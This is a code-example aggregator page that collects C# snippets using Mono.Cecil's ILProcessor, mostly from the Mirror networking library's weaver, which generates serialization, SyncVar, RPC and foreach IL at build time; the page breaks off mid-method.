예제 #1
0
 public static void WriteCreateWriter(ILProcessor worker)
 {
     // create writer
     worker.Append(worker.Create(OpCodes.Call, Weaver.GetPooledWriterReference));
     worker.Append(worker.Create(OpCodes.Stloc_0));
 }
        static void GenerateSerialization(TypeDefinition td)
        {
            Weaver.DLog(td, "  GenerateSerialization");
            MethodDefinition existingMethod = td.Methods.FirstOrDefault(md => md.Name == "Serialize");

            if (existingMethod != null && !existingMethod.Body.IsEmptyDefault())
            {
                return;
            }

            if (td.Fields.Count == 0)
            {
                return;
            }

            // check for self-referencing types
            foreach (FieldDefinition field in td.Fields)
            {
                if (field.FieldType.FullName == td.FullName)
                {
                    Weaver.Error($"{td} has field ${field} that references itself");
                    return;
                }
            }

            MethodDefinition serializeFunc = existingMethod ?? new MethodDefinition("Serialize",
                                                                                    MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig,
                                                                                    Weaver.voidType);

            //only add to new method
            if (existingMethod == null)
            {
                serializeFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType)));
            }
            ILProcessor serWorker = serializeFunc.Body.GetILProcessor();

            if (existingMethod != null)
            {
                //remove default nop&ret from existing empty interface method
                serWorker.Body.Instructions.Clear();
            }

            // if it is not a struct, call base
            if (!td.IsValueType)
            {
                // call base
                CallBase(td, serWorker, "Serialize");
            }

            foreach (FieldDefinition field in td.Fields)
            {
                if (field.IsStatic || field.IsPrivate || field.IsSpecialName)
                {
                    continue;
                }

                CallWriter(serWorker, field);
            }
            serWorker.Append(serWorker.Create(OpCodes.Ret));

            //only add if not just replaced body
            if (existingMethod == null)
            {
                td.Methods.Add(serializeFunc);
            }
        }
예제 #3
0
        public static MethodDefinition ProcessSyncVarGet(FieldDefinition fd, string originalName, FieldDefinition netFieldId)
        {
            //Create the get method
            MethodDefinition get = new MethodDefinition(
                "get_Network" + originalName, MethodAttributes.Public |
                MethodAttributes.SpecialName |
                MethodAttributes.HideBySig,
                fd.FieldType);

            ILProcessor getWorker = get.Body.GetILProcessor();

            // [SyncVar] GameObject?
            if (fd.FieldType.FullName == Weaver.gameObjectType.FullName)
            {
                // return this.GetSyncVarGameObject(ref field, uint netId);
                // this.
                getWorker.Append(getWorker.Create(OpCodes.Ldarg_0));
                getWorker.Append(getWorker.Create(OpCodes.Ldarg_0));
                getWorker.Append(getWorker.Create(OpCodes.Ldfld, netFieldId));
                getWorker.Append(getWorker.Create(OpCodes.Ldarg_0));
                getWorker.Append(getWorker.Create(OpCodes.Ldflda, fd));
                getWorker.Append(getWorker.Create(OpCodes.Call, Weaver.getSyncVarGameObjectReference));
                getWorker.Append(getWorker.Create(OpCodes.Ret));
            }
            // [SyncVar] NetworkIdentity?
            else if (fd.FieldType.FullName == Weaver.NetworkIdentityType.FullName)
            {
                // return this.GetSyncVarNetworkIdentity(ref field, uint netId);
                // this.
                getWorker.Append(getWorker.Create(OpCodes.Ldarg_0));
                getWorker.Append(getWorker.Create(OpCodes.Ldarg_0));
                getWorker.Append(getWorker.Create(OpCodes.Ldfld, netFieldId));
                getWorker.Append(getWorker.Create(OpCodes.Ldarg_0));
                getWorker.Append(getWorker.Create(OpCodes.Ldflda, fd));
                getWorker.Append(getWorker.Create(OpCodes.Call, Weaver.getSyncVarNetworkIdentityReference));
                getWorker.Append(getWorker.Create(OpCodes.Ret));
            }
            // [SyncVar] int, string, etc.
            else
            {
                getWorker.Append(getWorker.Create(OpCodes.Ldarg_0));
                getWorker.Append(getWorker.Create(OpCodes.Ldfld, fd));
                getWorker.Append(getWorker.Create(OpCodes.Ret));
            }

            get.Body.Variables.Add(new VariableDefinition(fd.FieldType));
            get.Body.InitLocals     = true;
            get.SemanticsAttributes = MethodSemanticsAttributes.Getter;

            return(get);
        }
예제 #4
0
        static MethodDefinition GenerateArraySegmentWriteFunc(TypeReference variable, int recursionCount)
        {
            GenericInstanceType genericInstance  = (GenericInstanceType)variable;
            TypeReference       elementType      = genericInstance.GenericArguments[0];
            MethodReference     elementWriteFunc = GetWriteFunc(elementType, recursionCount + 1);

            if (elementWriteFunc == null)
            {
                return(null);
            }

            string functionName = "_WriteArraySegment_" + elementType.Name + "_";

            if (variable.DeclaringType != null)
            {
                functionName += variable.DeclaringType.Name;
            }
            else
            {
                functionName += "None";
            }

            // create new writer for this type
            MethodDefinition writerFunc = new MethodDefinition(functionName,
                                                               MethodAttributes.Public |
                                                               MethodAttributes.Static |
                                                               MethodAttributes.HideBySig,
                                                               Weaver.voidType);

            writerFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType)));
            writerFunc.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.None, variable));

            writerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type));
            writerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type));
            writerFunc.Body.InitLocals = true;

            ILProcessor worker = writerFunc.Body.GetILProcessor();

            MethodReference countref = Weaver.ArraySegmentCountReference.MakeHostInstanceGeneric(genericInstance);

            // int length = value.Count;
            worker.Append(worker.Create(OpCodes.Ldarga_S, (byte)1));
            worker.Append(worker.Create(OpCodes.Call, countref));
            worker.Append(worker.Create(OpCodes.Stloc_0));


            // writer.WritePackedInt32(length);
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Call, GetWriteFunc(Weaver.int32Type)));

            // Loop through the ArraySegment<T> and call the writer for each element.
            // generates this:
            // for (int i=0; i< length; i++)
            // {
            //    writer.Write(value.Array[i + value.Offset]);
            // }
            worker.Append(worker.Create(OpCodes.Ldc_I4_0));
            worker.Append(worker.Create(OpCodes.Stloc_1));
            Instruction labelHead = worker.Create(OpCodes.Nop);

            worker.Append(worker.Create(OpCodes.Br, labelHead));

            // loop body
            Instruction labelBody = worker.Create(OpCodes.Nop);

            worker.Append(labelBody);

            // writer.Write(value.Array[i + value.Offset]);
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Ldarga_S, (byte)1));
            worker.Append(worker.Create(OpCodes.Call, Weaver.ArraySegmentArrayReference.MakeHostInstanceGeneric(genericInstance)));
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldarga_S, (byte)1));
            worker.Append(worker.Create(OpCodes.Call, Weaver.ArraySegmentOffsetReference.MakeHostInstanceGeneric(genericInstance)));
            worker.Append(worker.Create(OpCodes.Add));
            worker.Append(worker.Create(OpCodes.Ldelema, elementType));
            worker.Append(worker.Create(OpCodes.Ldobj, elementType));
            worker.Append(worker.Create(OpCodes.Call, elementWriteFunc));


            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldc_I4_1));
            worker.Append(worker.Create(OpCodes.Add));
            worker.Append(worker.Create(OpCodes.Stloc_1));

            // end for loop
            worker.Append(labelHead);
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Blt, labelBody));

            // return
            worker.Append(worker.Create(OpCodes.Ret));
            return(writerFunc);
        }
예제 #5
0
        static MethodDefinition GenerateArraySegmentReadFunc(TypeReference variable, int recursionCount)
        {
            GenericInstanceType genericInstance = (GenericInstanceType)variable;
            TypeReference       elementType     = genericInstance.GenericArguments[0];

            MethodReference elementReadFunc = GetReadFunc(elementType, recursionCount + 1);

            if (elementReadFunc == null)
            {
                return(null);
            }

            string functionName = "_ReadArraySegment_" + variable.GetElementType().Name + "_";

            if (variable.DeclaringType != null)
            {
                functionName += variable.DeclaringType.Name;
            }
            else
            {
                functionName += "None";
            }

            // create new reader for this type
            MethodDefinition readerFunc = new MethodDefinition(functionName,
                                                               MethodAttributes.Public |
                                                               MethodAttributes.Static |
                                                               MethodAttributes.HideBySig,
                                                               variable);

            readerFunc.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkReaderType)));

            // int lengh
            readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type));
            // T[] array
            readerFunc.Body.Variables.Add(new VariableDefinition(elementType.MakeArrayType()));
            // int i;
            readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type));
            readerFunc.Body.InitLocals = true;

            ILProcessor worker = readerFunc.Body.GetILProcessor();

            // int length = reader.ReadPackedInt32();
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Call, GetReadFunc(Weaver.int32Type)));
            worker.Append(worker.Create(OpCodes.Stloc_0));

            // T[] array = new int[length]
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Newarr, elementType));
            worker.Append(worker.Create(OpCodes.Stloc_1));

            // loop through array and deserialize each element
            // generates code like this
            // for (int i=0; i< length ; i++)
            // {
            //     value[i] = reader.ReadXXX();
            // }
            worker.Append(worker.Create(OpCodes.Ldc_I4_0));
            worker.Append(worker.Create(OpCodes.Stloc_2));
            Instruction labelHead = worker.Create(OpCodes.Nop);

            worker.Append(worker.Create(OpCodes.Br, labelHead));

            // loop body
            Instruction labelBody = worker.Create(OpCodes.Nop);

            worker.Append(labelBody);
            // value[i] = reader.ReadT();
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldloc_2));
            worker.Append(worker.Create(OpCodes.Ldelema, elementType));
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Call, elementReadFunc));
            worker.Append(worker.Create(OpCodes.Stobj, elementType));

            worker.Append(worker.Create(OpCodes.Ldloc_2));
            worker.Append(worker.Create(OpCodes.Ldc_I4_1));
            worker.Append(worker.Create(OpCodes.Add));
            worker.Append(worker.Create(OpCodes.Stloc_2));

            // loop while check
            worker.Append(labelHead);
            worker.Append(worker.Create(OpCodes.Ldloc_2));
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Blt, labelBody));

            // return new ArraySegment<T>(array);
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Newobj, Weaver.ArraySegmentConstructorReference.MakeHostInstanceGeneric(genericInstance)));
            worker.Append(worker.Create(OpCodes.Ret));
            return(readerFunc);
        }
예제 #6
0
        void GenerateDeSerialization(ref bool WeavingFailed)
        {
            const string DeserializeMethodName = "DeserializeSyncVars";

            if (netBehaviourSubclass.GetMethod(DeserializeMethodName) != null)
            {
                return;
            }

            if (syncVars.Count == 0)
            {
                // no synvars,  no need for custom OnDeserialize
                return;
            }

            MethodDefinition serialize = new MethodDefinition(DeserializeMethodName,
                                                              MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig,
                                                              weaverTypes.Import(typeof(void)));

            serialize.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, weaverTypes.Import <NetworkReader>()));
            serialize.Parameters.Add(new ParameterDefinition("initialState", ParameterAttributes.None, weaverTypes.Import <bool>()));
            ILProcessor serWorker = serialize.Body.GetILProcessor();

            // setup local for dirty bits
            serialize.Body.InitLocals = true;
            VariableDefinition dirtyBitsLocal = new VariableDefinition(weaverTypes.Import <long>());

            serialize.Body.Variables.Add(dirtyBitsLocal);

            MethodReference baseDeserialize = Resolvers.TryResolveMethodInParents(netBehaviourSubclass.BaseType, assembly, DeserializeMethodName);

            if (baseDeserialize != null)
            {
                // base
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                // reader
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
                // initialState
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_2));
                serWorker.Append(serWorker.Create(OpCodes.Call, baseDeserialize));
            }

            // Generates: if (initialState);
            Instruction initialStateLabel = serWorker.Create(OpCodes.Nop);

            serWorker.Append(serWorker.Create(OpCodes.Ldarg_2));
            serWorker.Append(serWorker.Create(OpCodes.Brfalse, initialStateLabel));

            foreach (FieldDefinition syncVar in syncVars)
            {
                DeserializeField(syncVar, serWorker, ref WeavingFailed);
            }

            serWorker.Append(serWorker.Create(OpCodes.Ret));

            // Generates: end if (initialState);
            serWorker.Append(initialStateLabel);

            // get dirty bits
            serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
            serWorker.Append(serWorker.Create(OpCodes.Call, readers.GetReadFunc(weaverTypes.Import <ulong>(), ref WeavingFailed)));
            serWorker.Append(serWorker.Create(OpCodes.Stloc_0));

            // conditionally read each syncvar
            // start at number of syncvars in parent
            int dirtyBit = syncVarAccessLists.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName);

            foreach (FieldDefinition syncVar in syncVars)
            {
                Instruction varLabel = serWorker.Create(OpCodes.Nop);

                // check if dirty bit is set
                serWorker.Append(serWorker.Create(OpCodes.Ldloc_0));
                serWorker.Append(serWorker.Create(OpCodes.Ldc_I8, 1L << dirtyBit));
                serWorker.Append(serWorker.Create(OpCodes.And));
                serWorker.Append(serWorker.Create(OpCodes.Brfalse, varLabel));

                DeserializeField(syncVar, serWorker, ref WeavingFailed);

                serWorker.Append(varLabel);
                dirtyBit += 1;
            }

            // add a log message if needed for debugging
            //serWorker.Append(serWorker.Create(OpCodes.Ldstr, $"Injected Deserialize {netBehaviourSubclass.Name}"));
            //serWorker.Append(serWorker.Create(OpCodes.Call, WeaverTypes.logErrorReference));

            serWorker.Append(serWorker.Create(OpCodes.Ret));
            netBehaviourSubclass.Methods.Add(serialize);
        }
예제 #7
0
        /*
         * generates code like:
         *
         *  public void RpcTest (int param)
         *  {
         *      NetworkWriter writer = new NetworkWriter ();
         *      writer.WritePackedUInt32((uint)param);
         *      base.SendRPCInternal(typeof(class),"RpcTest", writer, 0);
         *  }
         *  public void CallRpcTest (int param)
         *  {
         *      // whatever the user did before
         *  }
         *
         *  Originally HLAPI put the send message code inside the Call function
         *  and then proceeded to replace every call to RpcTest with CallRpcTest
         *
         *  This method moves all the user's code into the "CallRpc" method
         *  and replaces the body of the original method with the send message code.
         *  This way we do not need to modify the code anywhere else,  and this works
         *  correctly in dependent assemblies
         */
        public static MethodDefinition ProcessRpcCall(TypeDefinition td, MethodDefinition md, CustomAttribute clientRpcAttr)
        {
            MethodDefinition rpc = MethodProcessor.SubstituteMethod(td, md);

            ILProcessor worker = md.Body.GetILProcessor();

            NetworkBehaviourProcessor.WriteSetupLocals(worker);

            if (Weaver.GenerateLogErrors)
            {
                worker.Append(worker.Create(OpCodes.Ldstr, "Call ClientRpc function " + md.Name));
                worker.Append(worker.Create(OpCodes.Call, WeaverTypes.logErrorReference));
            }

            NetworkBehaviourProcessor.WriteCreateWriter(worker);

            // write all the arguments that the user passed to the Rpc call
            if (!NetworkBehaviourProcessor.WriteArguments(worker, md, RemoteCallType.ClientRpc))
            {
                return(null);
            }

            string rpcName      = md.Name;
            int    channel      = clientRpcAttr.GetField("channel", 0);
            bool   excludeOwner = clientRpcAttr.GetField("excludeOwner", false);

            // invoke SendInternal and return
            // this
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Ldtoken, td));
            // invokerClass
            worker.Append(worker.Create(OpCodes.Call, WeaverTypes.getTypeFromHandleReference));
            worker.Append(worker.Create(OpCodes.Ldstr, rpcName));
            // writer
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Ldc_I4, channel));
            worker.Append(worker.Create(excludeOwner ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0));
            worker.Append(worker.Create(OpCodes.Callvirt, WeaverTypes.sendRpcInternal));

            NetworkBehaviourProcessor.WriteRecycleWriter(worker);

            worker.Append(worker.Create(OpCodes.Ret));

            return(rpc);
        }
예제 #8
0
 /// <summary>
 /// Appends a basic op code.
 /// </summary>
 /// <param name="il">The il.</param>
 /// <param name="opCode">The op code.</param>
 public static void Append(this ILProcessor il, OpCode opCode)
 {
     il.Append(il.Create(opCode));
 }
예제 #9
0
        private void InjectForeach <T>(InjectorArgs args, VariableDefinition list, Action <VariableDefinition> action)
        {
            MethodDefinition method   = args.OriginMethod;
            ILProcessor      ilprosor = args.ILProcessor;

            // 初始化变量
            if (!_foreachItemDic.ContainsKey(typeof(IEnumerator <T>)) || args.VarEnumerator == null)
            {
                args.VarEnumerator = new VariableDefinition(method.Module.Import(typeof(IEnumerator <T>)));
                method.Body.Variables.Add(args.VarEnumerator);
                if (!_foreachItemDic.ContainsKey(typeof(IEnumerator <T>)))
                {
                    _foreachItemDic.Add(typeof(IEnumerator <T>), true);
                }
            }
            if (args.VarHasNext == null)
            {
                args.VarHasNext = new VariableDefinition(method.Module.Import(typeof(bool)));
                method.Body.Variables.Add(args.VarHasNext);
            }
            if (!_foreachItemDic.ContainsKey(typeof(T)) || args.VarItem == null)
            {
                args.VarItem = new VariableDefinition(method.Module.Import(typeof(T)));
                method.Body.Variables.Add(args.VarItem);
                if (!_foreachItemDic.ContainsKey(typeof(T)))
                {
                    _foreachItemDic.Add(typeof(T), true);
                }
            }

            var tryStart   = ilprosor.Create(OpCodes.Nop);
            var handlerEnd = ilprosor.Create(OpCodes.Nop);
            var tryEnd     = ilprosor.Create(OpCodes.Nop);
            //var tryEnd = ilprosor.Create(OpCodes.Leave, handlerEnd);
            var finallyStart = ilprosor.Create(OpCodes.Nop);
            var finallyEnd   = ilprosor.Create(OpCodes.Endfinally);

            //  list.GetEnumerator()
            ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, list));
            ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(MAList).GetMethod("GetEnumerator", new Type[] { }))));
            ilprosor.Append(ilprosor.Create(OpCodes.Stloc, args.VarEnumerator));
            // 注意顺序 只有获取到VarEnumerator才可以初始化以下指令
            var loopStart     = ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator);
            var moveNextStart = ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator);

            // try{  while(list.MoveNext()){  var item = list.get_Current();  action(item);   }   }
            ilprosor.Append(tryStart);
            ilprosor.Append(ilprosor.Create(OpCodes.Br, moveNextStart));
            ilprosor.Append(loopStart);
            ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(IEnumerator <T>).GetMethod("get_Current", new Type[] { }))));
            ilprosor.Append(ilprosor.Create(OpCodes.Stloc, args.VarItem));

            if (action != null)
            {
                action(args.VarItem);
            }

            ilprosor.Append(moveNextStart);
            ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(IEnumerator).GetMethod("MoveNext", new Type[] { }))));
            ilprosor.Append(ilprosor.Create(OpCodes.Stloc, args.VarHasNext));
            ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, args.VarHasNext));
            ilprosor.Append(ilprosor.Create(OpCodes.Brtrue, loopStart));
            ilprosor.Append(ilprosor.Create(OpCodes.Leave, handlerEnd));

            //
            // finally{
            //  if( VarEnumerator!=null )
            //  { VarEnumerator.Dispose(); }
            // }
            ilprosor.Append(finallyStart);
            ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator));
            ilprosor.Append(ilprosor.Create(OpCodes.Ldnull));
            ilprosor.Append(ilprosor.Create(OpCodes.Ceq));
            ilprosor.Append(ilprosor.Create(OpCodes.Stloc_S, args.VarHasNext));
            ilprosor.Append(ilprosor.Create(OpCodes.Ldloc_S, args.VarHasNext));
            ilprosor.Append(ilprosor.Create(OpCodes.Brtrue_S, handlerEnd));
            ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator));
            ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.IDisposable).GetMethod("Dispose", new Type[] { }))));
            ilprosor.Append(ilprosor.Create(OpCodes.Nop));
            ilprosor.Append(finallyEnd);
            ilprosor.Append(handlerEnd);

            //ilprosor.Append(end);
            ilprosor.Append(ilprosor.Create(OpCodes.Nop));
            // HandlerStart HandlerEnd 表示ExceptionHandlerType处理的开始及结束位置
            method.Body.ExceptionHandlers.Add(new ExceptionHandler(ExceptionHandlerType.Finally)
            {
                HandlerEnd   = handlerEnd,
                HandlerStart = finallyStart,
                TryEnd       = finallyStart,
                TryStart     = tryStart
            });
        }
예제 #10
0
        void DeserializeField(FieldDefinition syncVar, ILProcessor serWorker, MethodDefinition deserialize)
        {
            // check for Hook function
            MethodDefinition hookMethod = SyncVarProcessor.GetHookMethod(netBehaviourSubclass, syncVar);

            // [SyncVar] GameObject/NetworkIdentity?

            /*
             * Generates code like:
             *  uint oldNetId = ___qNetId;
             *  // returns GetSyncVarGameObject(___qNetId)
             *  GameObject oldSyncVar = syncvar.getter;
             *  ___qNetId = reader.ReadPackedUInt32();
             *  if (!SyncVarEqual(oldNetId, ref ___goNetId))
             *  {
             *      // getter returns GetSyncVarGameObject(___qNetId)
             *      OnSetQ(oldSyncVar, syncvar.getter);
             *  }
             */
            if (syncVar.FieldType.FullName == Weaver.gameObjectType.FullName ||
                syncVar.FieldType.FullName == Weaver.NetworkIdentityType.FullName)
            {
                // GameObject/NetworkIdentity SyncVar:
                //   OnSerialize sends writer.Write(go);
                //   OnDeserialize reads to __netId manually so we can use
                //     lookups in the getter (so it still works if objects
                //     move in and out of range repeatedly)
                FieldDefinition netIdField = syncVarNetIds[syncVar];

                // uint oldNetId = ___qNetId;
                var oldNetId = new VariableDefinition(Weaver.uint32Type);
                deserialize.Body.Variables.Add(oldNetId);
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                serWorker.Append(serWorker.Create(OpCodes.Ldfld, netIdField));
                serWorker.Append(serWorker.Create(OpCodes.Stloc, oldNetId));

                // GameObject/NetworkIdentity oldSyncVar = syncvar.getter;
                var oldSyncVar = new VariableDefinition(syncVar.FieldType);
                deserialize.Body.Variables.Add(oldSyncVar);
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar));
                serWorker.Append(serWorker.Create(OpCodes.Stloc, oldSyncVar));

                // read id and store in netId field BEFORE calling the hook
                // -> this makes way more sense. by definition, the hook is
                //    supposed to be called after it was changed. not before.
                // -> setting it BEFORE calling the hook fixes the following bug:
                //    https://github.com/vis2k/Mirror/issues/1151 in host mode
                //    where the value during the Hook call would call Cmds on
                //    the host server, and they would all happen and compare
                //    values BEFORE the hook even returned and hence BEFORE the
                //    actual value was even set.
                // put 'this.' onto stack for 'this.netId' below
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                // reader. for 'reader.Read()' below
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
                // Read()
                serWorker.Append(serWorker.Create(OpCodes.Call, Readers.GetReadFunc(Weaver.uint32Type)));
                // netId
                serWorker.Append(serWorker.Create(OpCodes.Stfld, netIdField));

                if (hookMethod != null)
                {
                    // call Hook(this.GetSyncVarGameObject/NetworkIdentity(reader.ReadPackedUInt32()))
                    // because we send/receive the netID, not the GameObject/NetworkIdentity
                    // but only if SyncVar changed. otherwise a client would
                    // get hook calls for all initial values, even if they
                    // didn't change from the default values on the client.
                    // see also: https://github.com/vis2k/Mirror/issues/1278

                    // IMPORTANT: for GameObjects/NetworkIdentities we usually
                    //            use SyncVarGameObjectEqual to compare equality.
                    //            in this case however, we can just use
                    //            SyncVarEqual with the two uint netIds.
                    //            => this is easier weaver code because we don't
                    //               have to get the GameObject/NetworkIdentity
                    //               from the uint netId
                    //            => this is faster because we void one
                    //               GetComponent call for GameObjects to get
                    //               their NetworkIdentity when comparing.

                    // Generates: if (!SyncVarEqual);
                    Instruction syncVarEqualLabel = serWorker.Create(OpCodes.Nop);

                    // 'this.' for 'this.SyncVarEqual'
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    // 'oldNetId'
                    serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldNetId));
                    // 'ref this.__netId'
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    serWorker.Append(serWorker.Create(OpCodes.Ldflda, netIdField));
                    // call the function
                    var syncVarEqualGm = new GenericInstanceMethod(Weaver.syncVarEqualReference);
                    syncVarEqualGm.GenericArguments.Add(netIdField.FieldType);
                    serWorker.Append(serWorker.Create(OpCodes.Call, syncVarEqualGm));
                    serWorker.Append(serWorker.Create(OpCodes.Brtrue, syncVarEqualLabel));

                    // call the hook
                    // this.
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    // oldSyncVar GO/NI
                    serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldSyncVar));
                    // this.
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    // syncvar.get (finds current GO/NI from netId)
                    serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar));
                    serWorker.Append(serWorker.Create(OpCodes.Callvirt, hookMethod));

                    // Generates: end if (!SyncVarEqual);
                    serWorker.Append(syncVarEqualLabel);
                }
            }
            // [SyncVar] int/float/struct/etc.?

            /*
             * Generates code like:
             *  // for hook
             *  int oldValue = a;
             *  Networka = reader.ReadPackedInt32();
             *  if (!SyncVarEqual(oldValue, ref a))
             *  {
             *      OnSetA(oldValue, Networka);
             *  }
             */
            else
            {
                MethodReference readFunc = Readers.GetReadFunc(syncVar.FieldType);
                if (readFunc == null)
                {
                    Weaver.Error($"{syncVar} has unsupported type. Use a supported Mirror type instead");
                    return;
                }

                // T oldValue = value;
                var oldValue = new VariableDefinition(syncVar.FieldType);
                deserialize.Body.Variables.Add(oldValue);
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar));
                serWorker.Append(serWorker.Create(OpCodes.Stloc, oldValue));

                // read value and store in syncvar BEFORE calling the hook
                // -> this makes way more sense. by definition, the hook is
                //    supposed to be called after it was changed. not before.
                // -> setting it BEFORE calling the hook fixes the following bug:
                //    https://github.com/vis2k/Mirror/issues/1151 in host mode
                //    where the value during the Hook call would call Cmds on
                //    the host server, and they would all happen and compare
                //    values BEFORE the hook even returned and hence BEFORE the
                //    actual value was even set.
                // put 'this.' onto stack for 'this.syncvar' below
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                // reader. for 'reader.Read()' below
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
                // reader.Read()
                serWorker.Append(serWorker.Create(OpCodes.Call, readFunc));
                // syncvar
                serWorker.Append(serWorker.Create(OpCodes.Stfld, syncVar));

                if (hookMethod != null)
                {
                    // call hook
                    // but only if SyncVar changed. otherwise a client would
                    // get hook calls for all initial values, even if they
                    // didn't change from the default values on the client.
                    // see also: https://github.com/vis2k/Mirror/issues/1278

                    // Generates: if (!SyncVarEqual);
                    Instruction syncVarEqualLabel = serWorker.Create(OpCodes.Nop);

                    // 'this.' for 'this.SyncVarEqual'
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    // 'oldValue'
                    serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldValue));
                    // 'ref this.syncVar'
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    serWorker.Append(serWorker.Create(OpCodes.Ldflda, syncVar));
                    // call the function
                    var syncVarEqualGm = new GenericInstanceMethod(Weaver.syncVarEqualReference);
                    syncVarEqualGm.GenericArguments.Add(syncVar.FieldType);
                    serWorker.Append(serWorker.Create(OpCodes.Call, syncVarEqualGm));
                    serWorker.Append(serWorker.Create(OpCodes.Brtrue, syncVarEqualLabel));

                    // call the hook
                    // this.
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    // oldvalue
                    serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldValue));
                    // this.
                    serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                    // syncvar.get
                    serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar));
                    serWorker.Append(serWorker.Create(OpCodes.Callvirt, hookMethod));

                    // Generates: end if (!SyncVarEqual);
                    serWorker.Append(syncVarEqualLabel);
                }
            }
        }
예제 #11
0
        void GenerateDeSerialization()
        {
            Weaver.DLog(netBehaviourSubclass, "  GenerateDeSerialization");

            if (netBehaviourSubclass.GetMethod("OnDeserialize") != null)
            {
                return;
            }

            if (syncVars.Count == 0)
            {
                // no synvars,  no need for custom OnDeserialize
                return;
            }

            var serialize = new MethodDefinition("OnDeserialize",
                                                 MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig,
                                                 Weaver.voidType);

            serialize.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkReaderType)));
            serialize.Parameters.Add(new ParameterDefinition("initialState", ParameterAttributes.None, Weaver.boolType));
            ILProcessor serWorker = serialize.Body.GetILProcessor();

            // setup local for dirty bits
            serialize.Body.InitLocals = true;
            var dirtyBitsLocal = new VariableDefinition(Weaver.int64Type);

            serialize.Body.Variables.Add(dirtyBitsLocal);

            MethodReference baseDeserialize = Resolvers.ResolveMethodInParents(netBehaviourSubclass.BaseType, Weaver.CurrentAssembly, "OnDeserialize");

            if (baseDeserialize != null)
            {
                // base
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                // reader
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
                // initialState
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_2));
                serWorker.Append(serWorker.Create(OpCodes.Call, baseDeserialize));
            }

            // Generates: if (initialState);
            Instruction initialStateLabel = serWorker.Create(OpCodes.Nop);

            serWorker.Append(serWorker.Create(OpCodes.Ldarg_2));
